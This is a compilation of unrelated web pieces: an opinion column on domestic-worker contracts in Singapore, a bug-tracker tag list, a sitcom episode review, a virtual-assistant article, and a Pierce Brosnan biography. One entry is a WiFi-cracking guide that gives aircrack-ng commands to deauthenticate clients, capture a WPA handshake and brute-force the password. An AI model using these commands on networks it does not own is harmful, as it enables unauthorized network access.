In Singapore, employees are required to be given jobscopes by the employers. So why not maids? MOM should come out with a standard contract for maids like what they have done to other work permit holders. The contract should state the working hours and the overtime pay should the maids be required to work over and above the stated hours. It should also state the number of leave per year, MCs and such. Presently, there is no such structure in place causing the maids to be at the beck and call of the employers 24×7. No wonder some maids would want to poison us.
Consequently, the contract should also state the employers’ rights vis-à-vis the maids’ transgression. For example, if the maids were found to be malingering or having sexy times with their boyfriends at the stairwell leaving their crying charges hungry and unattended in the house, the contract must stipulate the range of available options opened to the employers.
1. Special Powers For The Courts
Although presently our Judges are given an array of powers to deal with maid abuse; piggybacking on existing statutes, it is not adequate simply because of the very nature of the job.
The maids are staying with the employers and therefore are at the mercy of the employers. Due to this, they could be subjected to physical and psychological blackmails.
“You don’t tell your Maam that I have asked you to massage my back or I will send you back”
“Ok sir”
“Now go lower”
Therefore, maid abused should not be treated like any other abuse. It should be based on this fact as well. And the courts should be given the powers to ban offenders from employing another maid.
There are many more suggestions that I could come out with but fortunately, my jobscope stipulates that I only need to give 5 bullet points.
We should treat maids like how we want our employers to treat us. If we are unwilling to be on stand-by 24×7, why are we expecting our maids to do just that? If we are entitled to, say 14 days paid leave a year, why aren’t we giving our maids the same? If we are unable to multi-task or unwilling to do something that is not in our job-scope, why are we expecting our maids to be superwomen?
Treat others well and they will treat you better – Zeus
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global_01_local_1_shard_00001926_processed.jsonl/50025
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Query syntax:
• Use tag1 tag2 to match all tags.
• tag1 or tag2 will match any tag.
• Negate a tag with -tag1.
• Group sub-queries with (tag1 or tag2).
• Quote strings to include special characters.
• Restrict search to a specific realm with realm:wiki.
Showing objects tagged with 'meta'
• #22339 defect: META: Implement some form of jurisdiction/geography/topology-aware routing (reopened)
• #22340 defect: META: allow exits to restrict on something more sophisticated than IPs (new)
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global_01_local_1_shard_00001926_processed.jsonl/50039
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How to Crack a Wifi Network
All information here and below is for educational purposes only, and should only be used on your own networks, or networks that you own. Do NOT break the law.
Using aircrack-ng
root@# ifconfig wlan0 down
root@# iwconfig wlan0 mode monitor
root@# ifconfig wlan0 up
root@# airmon-ng check wlan0
After checking for processes that would interfere with monitor mode –
root@# kill 746
root@# kill 20245
root@# kill 794
airodump-ng wlan0 – for 5GH use –band a [airodump-ng –band a wlan1mon]
scan for wireless networks
then you must capture packs for that SPECIFIC network
airodump-ng -c 153 –bssid AP mac address –essid name_of_network -w nameofcaptirefile wlan1mon
Now you must deauthenticate to capture 4 way hand shake
aireplay-ng -0 5 -a AP mac address -c device mac wlan1mon
-0 means deauthentication
1 is the number of deauths to send (you can send multiple if you wish); 0 means send them continuously
-a 00:14:6C:7E:40:80 is the MAC address of the access point
-c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is omitted then all clients are deauthenticated
ath0 is the interface name
After you get a handshake it’s time to crack the file
aircrack-ng -w “wordlist” “capturefile.cap” -e “name of network”
example = aircrack-ng -w /usr/share/wordlists/full3.txt /root/hs/scan_test_nate-01.cap -e Boys2727
you can also use crunch example =
crunch 11 11 -t podcast%%%% 1234567890 | aircrack-ng -w – /root/hs/podcast25_2C-30-33-41-20-21.cap -e podcast2.5
put your card back in managed mode
ifconfig wlan0 down
iwconfig wlan0 mode managed
ifconfig wlan0 up
If you killed process these are them
674 wpa_supplicant
2390 NetworkManager
4932 dhclient
8366 dhclient
AIRCRACK-NG with Crunch and John the Ripper
Kali Linux is an advanced penetration testing tool that should be a part of every security professional’s toolbox. Penetration testing involves using a variety of tools and techniques to test the limits of security policies and procedures. What Kali has done is collect just about everything you’ll need in a single CD. It includes more than 300 different tools, all of which are open source and available on GitHub.
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global_01_local_1_shard_00001926_processed.jsonl/50045
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I worry sometimes that I over-praise the TV shows I love, creating a false impression that they’re somehow flawless and exalted, and that anyone who doesn’t “get” them is a dolt. (And then I worry that I worry too much… but that’s a subject for another time.) I have to say though: Tonight’s Better Off Ted was about as good as a sitcom gets. Granted, it lacked the satirical edge that has given other BOTs a welcome sting; but at their core, good sitcoms are about characters we come to know and like so well that even their simplest line or gesture carries more weight than it otherwise would—because we know exactly where it all comes from.
The beauty of “Bioshuffle” is how it slyly and subtly engages an aspect of Better Off Ted that's needed to be better-explored: Ted himself. After last week’s experiences in Medieval Fight Club—and the revelation in “Get Happy” that Ted seeks the approval of father figures—it’s becoming more and more obvious week-to-week that Ted’s more than just a handsome guy and an inspiring leader who’s good at nearly everything. Ted talks directly to us every week as though he’s the sane center of Veridian’s madness. A guy who knows all the ins and outs. A guy who can grab a muffin and toss a tip into a jar in one seamless motion. A manager who’s more machine than man.
But just like Veridian’s actual bio-computer (“humorously named ‘Johnny’” by his designer), Ted’s got problems. For one thing, he can’t fold a fitted sheet. For another, he can’t handle dramatic changes to his routine. When Johnny begins leaking an acid-like goo (“or ‘ass-goo’”), a whole floor’s worth of Veridian cubicles has to be decontaminated, which means that the company's workers have to share office space. Ted tries to ignore Linda’s subtle hints that she move into his office by muttering, “I don’t have a lot of space in here,” but Linda mocks him with a fake echo (“in here… in here”) and Ted relents. Soon he’s being distracted from his own work by Linda’s sloppy habits and sexy butt. (Though when Linda catches him staring, he claims that the butt’s just in his line of vision and is in fact staring at him. Linda responds that her butt’s “from a small-town… it’s never seen a big businessman like you before”)
So, so many good lines and interactions in the scenes between Ted and Linda, from her warning, “Your pen-holder’s going to be perfect for my tampons,” to him trying to motivate her to work by singing along with her version of Barbara Mason’s R&B classic “Yes, I’m Ready.” Since most of the jokes were made funnier by the facial expressions, framing, editing and line-readings, I won’t even try to do justice to moments like Linda talking to (and on behalf of) her fish, MacGyver. (For jokes that do translate better to print, see the stray observations.)
I also don’t have much to say about the resolution of the Ted/Linda dilemma, which involved Phil coming up with a sort of acid-interface, or “ass-face.” (“I’m not sure the abbreviations are really helping us much,” Lem says.) Though I’ll allow that the direct comparison between Ted’s neuroses and the malfunctioning Johnny was perhaps a bit over-stressed, and I’ll note in passing that Better Off Ted has shown a mildly worrying tendency of late to try to pack in a life-lesson in the closing minutes.
But I’m not overly concerned, so long as the show keeps firing more jokes per minute than just about any contemporary sitcom that’s not named 30 Rock (and, arguably, having more of them hit the target). And while I said that “Bioshuffle” wasn’t especially satirical, that may be under-praising. There is something going on in the show’s portrayal of the ultimate company man, gradually being driven off his nut by the inefficiencies and illogic of his own company. “Machines… When you were little, you wanted to be one,” the Viridian commercial insists. I think that actually may be true for Ted. Which makes me worry a little about the end of that commercial, which talks about combining the best of humans and machines into “something strong and—we hope—loving.”
Grade: A
Stray observations:
-“Experimental cracker?”
-In the episode’s equally funny subplot, Lem is forced to share lab space with a scientist he has a crush on, and he frets over how he can let her know he cares. When Phil suggests he just talk to her, Lem says, “Would you talk to a rainbow? Or a sunset?” (Phil: “If I wanted to get it on with refracted light I would.”) Finally, he approaches her and says, “If you like lame, you should come have a drink with me after I have dinner with my Mom.” She agrees, and they have a lovely time… until Lem’s allergic reaction to her perfume causes him to sneeze and conk against her head.
-Phil, relishing his correct assessment of Ted’s infatuation with Linda. “So I do know something about women. I’m going to call my wife and tell her how hot Linda is.”
-Phil and Lem are also working on a mind-control ray in this episode. (“We call it The Voice Of God,” Phil says. “No we don’t,” Ted corrects.) The problem is that the subject (or “victim,” as Linda would have it) tends to vomit. Ted suggests that the ray could have all kinds of applications for the military—or modeling—but Lem chooses instead to use it to help his cause with his dream girl, despite Phil’s reminder that, “You’re using science for no good… we took an oath we would do that less.” Unfortunately, the effort goes haywire and he ends up causing her to puke all over a handsome co-worker, who takes such good care of her that she falls for him.
-MacGyver and The Diver… they’re gay-married.
-Not much Veronica action this week, aside from her shooting her office chairs to let off steam, and her saying that she feels about Linda’s crush on Ted the way she feels about someone borrowing her stapler. “Even if I’m not using it, I hate seeing somebody else pounding away at it.”
-You blame the bird that dropped the turd, not the hat that got the splat.
-Bad news: Next week’s a repeat. Good news: I didn’t write it up the first time around, so I’m going to write it up this time. See you next week.
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global_01_local_1_shard_00001926_processed.jsonl/50084
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virtual assistant is typically an independent contractor who offers services such as administrative, web, technical, bookkeeping, and/or graphic design services via email, the Internet or fax. If you run a business, hiring a virtual assistant to help with daily operations can improve the efficiency of your office. These assistants do not work in the office with you, but rather from their own remote office. Because technology is the basis for communication with an assistant, you may hesitate hiring one for yourself.
However, there are practical reasons to hire a virtual assistant.
1. You cannot afford a full-time assistant. If you cannot afford a full-time assistant, hire a virtual assistant and pay this person a flat fee per task, hourly or on a retained basis. Let’s say you need to develop a marketing campaign. Rather than hire in-house help, you can hire a virtual assistant to assist you with the development and implementation of your campaign. It’s the most cost-effective way to get help with your business.
2. You need to focus on other tasks. Light administrative duties are typical of every office. And while these duties aren’t complicated, they can consume your time. Hire a virtual assistant to handle word processing, data entry and research, and you can focus on larger assignments.
3. You’re simply overwhelmed. As your business grows, you’ll discover that there isn’t enough time in the day for all your duties. Running the operation without an assistant can result in long hours and many sleepless nights. This can take the joy out of owning your business. With a virtual assistant on your side, you can delegate assignments and free up your time.
What is holding you back from freeing up your time?
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global_01_local_1_shard_00001926_processed.jsonl/50120
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Jerry Seinfeld’s Apartment Floor Plan
• Ever watch a TV show so often that you could map each room of a character’s apartment in your head? Then you’ll get a kick out of the art of Iñaki Aliste Lizarralde, who created floor plans from several major television shows, including Sex and the City, Friends, and The Simpsons.
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global_01_local_1_shard_00001926_processed.jsonl/50127
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Pierce Brosnan
From Wikipedia, the free encyclopedia
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Pierce Brosnan
Pierce Brosnan Berlinale 2014.jpg
Brosnan at the premiere party of Stephen King's Bag of Bones at Fig and Olive Melrose Place in 2011
Pierce Brendan Brosnan
(1953-05-16) 16 May 1953 (age 65)
ResidenceMalibu, California, U.S.
CitizenshipIreland and United States
OccupationActor, singer, producer, environmentalist
Years active1977–present[1]
Home townNavan, County Meath, Ireland
Cassandra Harris
(m. 1980; died 1991)
Children5, including Sean Brosnan
Pierce Brendan Brosnan OBE (/ˈbrɒsnən/; born 16 May 1953) is an Irish-American actor, film producer, and activist. Born an Irish citizen, Brosnan is a naturalized American citizen.[2] After leaving comprehensive school at age 16, Brosnan began training in commercial illustration, then went on to train at the Drama Centre in London for three years. Following a stage acting career he rose to popularity in the television series Remington Steele (1982–1987), which blended the genres of romantic comedy, drama, and detective procedural. After the conclusion of Remington Steele, Brosnan appeared in films such as the Cold War spy film The Fourth Protocol (1987) and the comedy Mrs. Doubtfire (1993).
In 1994, Brosnan became the fifth actor to portray secret agent James Bond in the Eon Productions film series, starring in four films from 1995 to 2002 (GoldenEye, Tomorrow Never Dies, The World Is Not Enough and Die Another Day). He lent his likeness for Bond in the video games GoldenEye 007, James Bond 007: Nightfire and James Bond 007: Everything or Nothing, providing his voice for the latter. During this period, he also took the lead in other films including the epic disaster adventure film Dante's Peak (1997) and the remake of the heist film The Thomas Crown Affair (1999). Since leaving the role of Bond, he has starred in such films as the musical/romantic comedy Mamma Mia! (2008), the Roman Polanski-directed political thriller The Ghost Writer (2010) and the action spy thriller The November Man (2014).
In 1996, along with Beau St. Clair, Brosnan formed Irish DreamTime, a Los Angeles-based production company.[3] In later years, he has become known for his charitable work and environmental activism. He was married to Australian actress Cassandra Harris from 1980 until her death in 1991. He married American journalist and author Keely Shaye Smith in 2001, and became an American citizen in 2004, holding dual citizenship in the United States and Ireland. He has earned two Golden Globe Award nominations, first for the television miniseries Nancy Astor (1982) and next for the dark comedy film The Matador (2005).
Early life[edit]
Brosnan was born in Our Lady of Lourdes Hospital in Drogheda, County Louth,[1] Ireland, the only child of Thomas Brosnan, a carpenter, and May (née Smith, born circa 1934). He lived in Navan, County Meath for 12 years and considers it his home town.[4] He went to St. Anne's Primary School, Navan. Brosnan's father abandoned the family when Pierce was an infant. When he was four years old, his mother moved to London to work as a nurse. From that point on, he was largely brought up by his maternal grandparents, Philip and Kathleen Smith. After their deaths, he lived with an aunt and then an uncle, but was subsequently sent to live in a boarding house run by a woman named Eileen.
According to Brosnan,
Childhood was fairly solitary. I grew up in a very small town called Navan in County Meath. I never knew my father. He left when I was an infant and I was left in the care of my mother and my grandparents. To be Catholic in the 1950s, and to be Irish Catholic in the 1950s, and have a marriage which was not there, a father who was not there, consequently, the mother, the wife suffered greatly. My mother was very courageous. She took the bold steps to go away and be a nurse in England. Basically wanting a better life for her and myself. My mother came home once a year, twice a year.[5]
Brosnan was brought up in a Roman Catholic[6][7][8] family and educated in a local school run by the de la Salle Brothers while serving as an altar boy.[8]
Brosnan left Ireland on 12 August 1964 and was reunited with his mother and her new husband, William Carmichael, now living in the Scottish village of Longniddry, East Lothian.[9][10] Carmichael took Brosnan to see a James Bond film for the first time (Goldfinger), at the age of 11.[11] Later moving back to London, Brosnan was educated at Elliott School, a state comprehensive school in Putney, southwest London, now known as Ark Putney Academy.[5][12] Brosnan has spoken about the transition from Ireland to England and his education in London; "When you go to a very large city, a metropolis like London, as an Irish boy of 10, life suddenly moves pretty fast. From a little school of, say, seven classrooms in Ireland, to this very large comprehensive school, with over 2,000 children. And you're Irish. And they make you feel it; the British have a wonderful way of doing that, and I had a certain deep sense of being an outsider."[5] When he attended school, his nickname was "Irish".[13]
After leaving school at 16, he decided to be a painter and began training in commercial illustration at Saint Martin's School of Art.[14][15] While attending a rehearsal for a workshop at the Oval House, a fire eater was teaching people how to eat fire and he decided to join.[16] A circus agent saw him busking and hired him for three years.[citation needed] He later trained for three years as an actor at the Drama Centre London.[17] Brosnan has described the feeling of becoming an actor and the impact it had on his life: "When I found acting, or when acting found me, it was a liberation. It was a stepping stone into another life, away from a life that I had, and acting was something I was good at, something which was appreciated. That was a great satisfaction in my life."[5]
Smiling man with short, tousled hair, wearing white shirt open at collar, and black jacket.
Brosnan at the 2002 Cannes Film Festival for the press conference of Die Another Day
Graduating from the Drama Centre in 1975, Brosnan began working as an acting assistant stage manager at the York Theatre Royal, making his acting debut in Wait Until Dark. Within six months, he was selected by playwright Tennessee Williams to play the role of McCabe in the British première of The Red Devil Battery Sign (billed as "Pierce Brosman").[18] His performance caused a stir in London and Brosnan still has the telegram sent by Williams, stating only "Thank God for you, my dear boy".[19] In 1977 he was picked by Franco Zeffirelli to appear in the play Filumena by Eduardo De Filippo opposite Joan Plowright and Frank Finlay.[20]
He continued his career making brief appearances in films such as The Long Good Friday (1980) and The Mirror Crack'd (1980), as well as early television performances in The Professionals, Murphy's Stroke, and Play for Today. He became a television star in the United States with his leading role in the popular miniseries Manions of America.[21] He followed this in 1982 with the BBC's 9-part miniseries Nancy Astor (which aired in America on Masterpiece Theatre) that dramatised the life of Lady Nancy Astor, the first woman to sit in British Parliament. His portrayal of Robert Gould Shaw II garnered him a 1985 Golden Globe Award nomination for Best Supporting Actor.[22]
Brosnan signing autographs at the 2010 Berlin International Film Festival
In 1982, Brosnan moved to Southern California and rose to popularity in the United States playing the title role in the NBC romantic detective series Remington Steele.[1][9] The Washington Post noted that same year that Brosnan "could make it as a young James Bond."[23] After Remington Steele ended in 1987, Brosnan went on to appear in several films, including The Fourth Protocol (1987), a Cold War thriller in which he starred alongside Michael Caine, The Deceivers and James Clavell's Noble House both in (1988), and The Lawnmower Man (1992). In 1992, he shot a pilot for NBC called Running Wilde, playing a reporter for Auto World magazine. Jennifer Love Hewitt played his daughter. The pilot never aired, however.[24] In 1993 he played a supporting role in the comedy film Mrs. Doubtfire. He also appeared in several television films, including Victim of Love (1991), Death Train (1993) and Night Watch (1995), a spy thriller set in Hong Kong. In 2003, Brosnan was rewarded the Irish Film and Television Academy Lifetime Achievement Award for his contribution to Irish Film.
James Bond (1994–2005)[edit]
Brosnan first met James Bond films producer Albert R. Broccoli on the sets of For Your Eyes Only because his first wife, Cassandra Harris, had been cast as Countess Lisl von Schlaf, mistress to Milos Columbo. Broccoli said, "if he can act ... he's my guy" to inherit the role of Bond from Roger Moore.[23] It was reported by both Entertainment Tonight and the National Enquirer, that Brosnan was going to inherit another role of Moore's, that of Simon Templar in The Saint.[23] Brosnan denied the rumours in July 1993 but added, "it's still languishing there on someone's desk in Hollywood."[25]
In 1987, NBC cancelled Remington Steele. Brosnan was offered the role of James Bond, but the publicity improved Remington Steele's ratings and it was renewed, requiring Brosnan to contractually return to the show, this caused Eon Productions to have to look elsewhere for the new 007.[23][26] The producers instead hired Timothy Dalton for The Living Daylights (1987), and Licence to Kill (1989).[27] While Brosnan was reluctant to discuss losing the Bond role, in part because Dalton was a friend, he appeared in Diet Coke commercials portraying what the Los Angeles Times described as "a dashing Bond-like character", and NBC advertised Noble House with Brosnan dressed in a Bond-like tuxedo.[26] Legal disputes between the Bond producers and the studio over distribution rights resulted in the cancellation of a proposed third Dalton film in 1991[28] and put the Bond series on a hiatus for several years. After the legal issues had been resolved, Dalton decided not to return for a third film. On 7 June 1994, Brosnan was announced as the fifth actor to play Bond.[23]
Brosnan was signed for a three-film Bond deal with the option of a fourth. The first, 1995's GoldenEye, grossed US $350 million worldwide,[29] the fourth highest worldwide gross of any film in 1995,[30] making it the most successful Bond film since Moonraker, adjusted for inflation.[31] It holds a 78% Rotten tomato rating,[32] while Metacritic holds it at 65%.[33] In the Chicago Sun-Times, Roger Ebert gave the film 3 stars out of 4, saying that Brosnan's Bond was "somehow more sensitive, more vulnerable, more psychologically complete" than the previous ones, also commenting on Bond's "loss of innocence" since previous films.[34] James Berardinelli described Brosnan as "a decided improvement over his immediate predecessor" with a "flair for wit to go along with his natural charm", but added that "fully one-quarter of Goldeneye is momentum-killing padding."[35]
In 1996, Brosnan formed a film production company entitled "Irish DreamTime" along with producing partner and longtime friend Beau St. Clair.[1] Brosnan and St. Clair released Irish DreamTime's first production, The Nephew, in 1998.[36] One year later, the company's second studio project, The Thomas Crown Affair, was released and met both critical and box office success.[37]
Brosnan returned in 1997's Tomorrow Never Dies and 1999's The World Is Not Enough, which were also successful. In 2002, Brosnan appeared for his fourth time as Bond in Die Another Day, receiving mixed reviews similarly to the former two, but was a success at the box office. Brosnan himself subsequently criticised many aspects of his fourth Bond movie. During the promotion, he mentioned that he would like to continue his role as James Bond: "I'd like to do another, sure. Connery did six. Six would be a number, then never come back."[38] Brosnan asked Eon Productions, when accepting the role, to be allowed to work on other projects between Bond films. The request was granted, and for every Bond film, Brosnan appeared in at least two other mainstream films, including several he produced,[13] playing a wide range of roles, ranging from a scientist in Tim Burton's Mars Attacks!, to the title role in Grey Owl which documents the life of Englishman Archibald Stansfeld Belaney, one of Canada's first conservationists.
Shortly after the release of Die Another Day, the media began questioning whether or not Brosnan would reprise the role for a fifth time. At that time, Brosnan was approaching his 50th birthday. Brosnan kept in mind that both fans and critics were very unhappy with Roger Moore playing the role until he (Moore) was 58, but he was receiving popular support from both critics and the franchise fanbase for a fifth instalment. For this reason, he remained enthusiastic about reprising his role.[39] In October 2004, Brosnan said he considered himself dismissed from the role.[40] Although Brosnan had been rumoured frequently as still in the running to play 007, he had denied it several times, and in February 2005 he posted on his website that he was finished with the role.[41] Daniel Craig took over the role on 14 October 2005.[42] In an interview with The Globe and Mail, Brosnan was asked what he thought of Daniel Craig as the new James Bond. He replied, "I'm looking forward to it like we're all looking forward to it. Daniel Craig is a great actor and he's going to do a fantastic job".[43] He reaffirmed this support in an interview to the International Herald Tribune, stating that "[Craig's] on his way to becoming a memorable Bond."[44]
During his tenure on the James Bond films Brosnan also took part in James Bond video games. In 2002, Brosnan's likeness was used as the face of Bond in the James Bond video game Nightfire (voiced by Maxwell Caulfield). In 2004, Brosnan starred in the Bond game Everything or Nothing, contracting for his likeness to be used as well as doing the voice-work for the character.[45] He also starred along with Jamie Lee Curtis and Geoffrey Rush in The Tailor of Panama in 2001, and lent his voice to The Simpsons episode "Treehouse of Horror XII", as a machine with Pierce Brosnan's voice.
Post-James Bond[edit]
Smiling cast members standing in a row for a group photo.
Brosnan (2nd from the left) with the cast of Mamma Mia! and ABBA (1st, 5th, and 6th from left and 2nd from right)
Since 2004, Brosnan has talked of backing a film about Caitlin Macnamara, wife of poet Dylan Thomas,[46] the title role to be played by Miranda Richardson. Brosnan's first post-Bond role was that of Daniel Rafferty in 2004's Laws of Attraction. Garreth Murphy, of entertainment.ie, described Brosnan's performance as "surprisingly effective, gently riffing off his James Bond persona and supplementing it with a raffish energy".[47] In the same year, Brosnan starred in After the Sunset alongside Salma Hayek and Woody Harrelson. The film elicited generally negative reviews and a 17% rating on Rotten Tomatoes.[48] Brosnan's next film was 2005's The Matador. He starred as Julian Noble, a jaded, neurotic assassin who meets a travelling salesman (Greg Kinnear) in a Mexican bar. The film garnered generally positive reviews.[49] Roger Ebert for the Chicago Sun-Times called Brosnan's performance the best of his career.[50] Brosnan was nominated for a Golden Globe award for Best Actor in a Musical or Comedy, but lost to Joaquin Phoenix for Walk the Line..[51] In 2006, Brosnan narrated The Official Film of the 2006 FIFA World Cup, directed by Michael Apted.[52]
In 2007, Brosnan appeared in the film Seraphim Falls alongside fellow Irishman Liam Neeson. The film was released for limited screenings on 26 January 2007 to average reviews. Kevin Crust of the Los Angeles Times noted that Brosnan and Neeson made "fine adversaries;"[53] Michael Rechtshaffen of The Hollywood Reporter thought that they were "hard-pressed to inject some much-needed vitality into their sparse lines."[54] During the same year, Brosnan spoke of making a western with fellow Irish actors Gabriel Byrne and Colm Meaney.[55] In that same year Brosnan starred as Tom Ryan in Butterfly on a Wheel. The film was released in the United States under the name of Shattered, and in Europe as Desperate Hours.
In 2008, Brosnan joined Meryl Streep in the film adaption of the ABBA musical Mamma Mia!.[56] He played Sam Carmichael, one of three men believed to be the father of Sophie (Amanda Seyfried), while Streep played Sophie's mother.[57] Judy Craymer, producer to the film, said "Pierce brings a certain smooch factor, and we think he'll have great chemistry with Meryl in a romantic comedy."[58] Brosnan's preparation in singing for the role included walking up and down the coast and singing karaoke to his own voice for about six weeks, followed by rehearsals in New York, which he noted "sounded dreadful."[59] Brosnan's singing in the film was generally disparaged by critics, with his singing compared in separate reviews to the sound of a water buffalo,[60] a donkey,[61] and a wounded raccoon.[62] In September 2008, Brosnan provided the narration for the Thomas & Friends movie The Great Discovery. He was originally set to narrate for both US and UK from Season 12 and onward, but withdrew from it for unknown reasons.
In 2009, Brosnan finished the well-received The Ghost Writer, playing a disgraced British Prime Minister, directed and produced by Roman Polanski. The film won a Silver Bear at the Berlin International Film Festival. He starred as Charles Hawkins in the film Remember Me and as Chiron in Percy Jackson & the Olympians: The Lightning Thief, both released in 2010. In 2012, Brosnan played the role of Philip in the Danish romantic comedy Love Is All You Need.[63]
In February 2013, Brosnan was awarded honorary patronage of the Dublin University Players society at Trinity College, Dublin.[64] He also starred opposite Owen Wilson in No Escape, playing a "heroic government agent".[65] Brosnan was slated to star in Last Man Out, a crime film adapted from Stuart Neville's novel titled The Twelve (released as Ghosts of Belfast in the US) by Craig Ferguson and Ted Mulkerin, with director Terry Loan at the helm.[66] However, it never came to fruition after years in development, and Brosnan is no longer attached to the production.
In 2013, Brosnan appeared in television commercials as a tongue in cheek version of himself to promote the launch of Sky Broadband in Ireland.[67] In 2005, Brosnan was reported to be starring in The November Man, an adaptation of Bill Granger's novel, There Are No Spies.[68] but the project was cancelled in 2007. After its cancellation, Brosnan's production company, "Irish DreamTime" resurrected The November Man in 2012 with an announcement made on his part that he was jumping back to the spy arena.[69] Filming took place in Serbia a year later, with Brosnan in action as a retired CIA operative called Devereaux, alongside co-star Olga Kurylenko in a supporting role.[70] The film was received negatively, with a 34% on Rotten Tomatoes and a 38/100 on Metacritic.[71][72] In 2015, he appeared alongside Milla Jovovich in suspense thriller movie written by Phil Shelby, called Survivor, which began filming in January 2014, with Charles and Irwin Winkler producing, and James McTeigue directing.[73] Brosnan later starred in a revenge thriller called I.T.,[74] which was released in September 2016, in a limited release and through video on demand.[75]
Brosnan replaced actor Sam Neill in the role of Eli McCullough in a television miniseries adaptation of Philipp Meyer's novel The Son, with Kevin Murphy serving as both executive producer and showrunner of a ten-episode miniseries, which began production in June 2016, and aired in 2017.[76] In 2017, Brosnan starred in The Foreigner, opposite Jackie Chan, as a former IRA man turned government official, Liam Hennessy. The Foreigner was filmed in London, and was directed by Martin Campbell, who previously worked with Brosnan on his debut James Bond film, GoldenEye. It was noted that Brosnan's character bore a strong resemblance to Sinn Féin leader Gerry Adams.[77]
In 2018, Brosnan co-starred with Guy Pearce and Minnie Driver in a mystery thriller film called Spinning Man, based on George Harrar's novel of the same name.[78] He later reprised his role as Sam Carmichael in the sequel to Catherine Johnson's Mamma Mia!, entitled Mamma Mia! Here We Go Again, along with the rest of the cast members from the first film.[79] He also had a supporting role in the action thriller headlined by Dave Bautista in Final Score.[80]
Upcoming roles[edit]
Brosnan will collaborate with director Martin Campbell for the third time on yet another film, which itself is an adaptation of an Ernest Hemingway novel, Across the River and into the Trees, in which Brosnan will play the role of a retired American army colonel, Richard Cantwell.[81] While the project is indeed the next one on both of their schedules, however, Campbell unveiled that at one point, the production was almost shelved due to financial problems.[82]
He later joined Jamie Dornan and Cillian Murphy in a film based on the events of The Maze Prison Escape, titled H-Block which is to be directed by Jim Sheridan.[83] Initially, filming was to begin sometime in August 2017 before getting postponed to March 2018 due to scheduling conflicts with members of the cast.[84] However, preliminary production on the film is yet to commence.
Alongside Jesse Eisenberg and Vanessa Redgrave, Brosnan is set to appear in a historical period piece based on a novel by Jonathan Miles, entitled The Wreck of The Medusa, set against the backdrop of the early 19th century during King Louis XVIII's reign in France, with the film to be directed by Peter Webber.[85]
In July 2017, a rumor sparked that Brosnan was linked to an upcoming video game entitled Shadow Stalkers produced by 3D Realms, though his role in the project is undisclosed as of yet.[86]
Environmental and charitable work[edit]
Pierce Brosnan at the Toronto International Film Festival in September 2005
Brosnan has been an Ambassador for UNICEF Ireland since 2001 and recorded a special announcement to mark the launch of UNICEF's "Unite for Children, Unite against AIDS" Campaign with Liam Neeson.[87] Brosnan supported John Kerry in the 2004 presidential election and is a vocal supporter of same-sex marriage.[88]
Brosnan at the LBJ Presidential Library in 2017
Brosnan first became aware of nuclear disarmament at the age of nine when worldwide condemnation of the 1962 U.S. nuclear tests in Nevada headlined international news.[1] During the 1990s, he participated in news conferences in Washington, D.C. to help Greenpeace draw attention to the issue.[1] Brosnan boycotted the French GoldenEye premiere to support Greenpeace's protest against the French nuclear testing program.[89] From 1997 to 2000, Brosnan and wife Smith worked with the Natural Resources Defense Council (NRDC) and International Fund for Animal Welfare (IFAW) to stop a proposed salt factory from being built at Laguna San Ignacio.[1] The couple with Halle Berry, Cindy Crawford and Daryl Hannah successfully fought the Cabrillo Port Liquefied Natural Gas facility that was proposed off the coast of Malibu; the State Lands Commission eventually denied the lease to build the terminal.[90] In May 2007, Governor Arnold Schwarzenegger vetoed the facility.[91] Brosnan is also listed as a member of the Sea Shepherd Conservation Society's Board of Advisors.[92] Brosnan was named 'Best-dressed Environmentalist' by the Sustainable Style Foundation in 2004.[93]
Brosnan also raises money for charitable causes through sales of his paintings. After Brosnan left school, he pursued a career in art and began working as an illustrator. "I always wanted to be an artist, a painter. I started as a Trainee Artist in a small studio in South London." A colleague suggested that Pierce attend a theatre workshop, and eventually he abandoned his artwork to pursue a career in acting. Brosnan took up painting again in the late 1980s during his first wife's illness as he found it therapeutic. "Sometimes dramatic moments affect the way you see yourself in the world…from a very hard time in my life, I started painting again and out came every color I could imagine." Citing his influences as Picasso, Matisse, Bonnard and Kandinsky, Brosnan spends much of his free time between film shoots in front of his easel. "I am self taught, an enthusiastic painter as a friend of mine likes to say." [94] He has continued painting since then, using spare time on set and at home. Profits from sales of giclée prints of his works are given to a trust to benefit "environmental, children's and women's health charities."[1] Since Harris' death, Brosnan has been an advocate for cancer awareness and, in 2006, he served as spokesperson for Lee National Denim Day, a breast cancer fundraiser which raises millions of dollars and raises more money in a single day than any other breast cancer fundraiser.[95]
In May 2007, Brosnan and Smith donated $100,000 to help replace a playground on the Hawaiian island of Kauai, where they own a house.[96] On 7 July 2007, Brosnan presented a film at Live Earth in London.[97] He also recorded a television advertisement for the cause.[1] Brosnan lives with his family in Malibu, California and on the island of Kauai.
Personal life[edit]
Brosnan married twice, was widowed once and has five children and three grandchildren.[98] Brosnan met Australian actress Cassandra Harris through her stepson David Harris, one of Richard Harris's nephews, in 1977, shortly after he left drama school.[1] On meeting her, he has described his feelings, saying, "What a beautiful looking woman. I never for an instant thought she was someone I'd spend 17 years of my life with. I didn't think of wooing her, or attempting to woo her; I just wanted to enjoy her beauty and who she was."[5] They began dating, and eventually bought a house in Wimbledon. They married on 27 December 1980 and had one son together, Sean, who was born on 13 September 1983. They lived with her children, Charlotte (1971–2013) and Chris, and after their father Dermot Harris died in 1986, he adopted them and they took the surname Brosnan.[1][99]
Brosnan supplemented his income by working in West End productions and in a television film about Irish horse racing.[5] After Harris appeared in the James Bond film For Your Eyes Only in 1981, they secured a bank loan and moved to southern California where Brosnan secured a role in the TV series Remington Steele, easing their financial worries.
An episode of Remington Steele that was filmed in Ireland generated significant publicity. One outcome was that Brosnan met his father, who had left when Brosnan was an infant, in a brief get-together at his hotel. Brosnan said he expected to see a very tall man, but described his father as "a man of medium stature, pushed-back silver hair, flinty eyes and a twizzled jaw. He had a very strong Kerry accent."[5] Brosnan was regretful that they met under such public circumstances. He said he would have preferred more private arrangements that would have given him the opportunity to speak privately with his father.[5]
While filming The Deceivers in Rajasthan, India, in 1987, Brosnan's wife Harris became seriously ill. She was later diagnosed with ovarian cancer and died on 28 December 1991 at age 43.[100] Brosnan struggled to cope with her cancer and death. "When your partner gets cancer, then life changes. Your timetable and reference for your normal routines and the way you view life, all this changes. Because you're dealing with death. You're dealing with the possibility of death and dying. And it was that way through the chemotherapy, through the first-look operation, the second look, the third look, the fourth look, the fifth look. Cassie was very positive about life. I mean, she had the most amazing energy and outlook on life. It was and is a terrible loss, and I see it reflected, from time to time, in my children."[5] Harris had always wanted Brosnan to play the role of James Bond, and in 1995, four years after her death, Brosnan was given the role in GoldenEye.
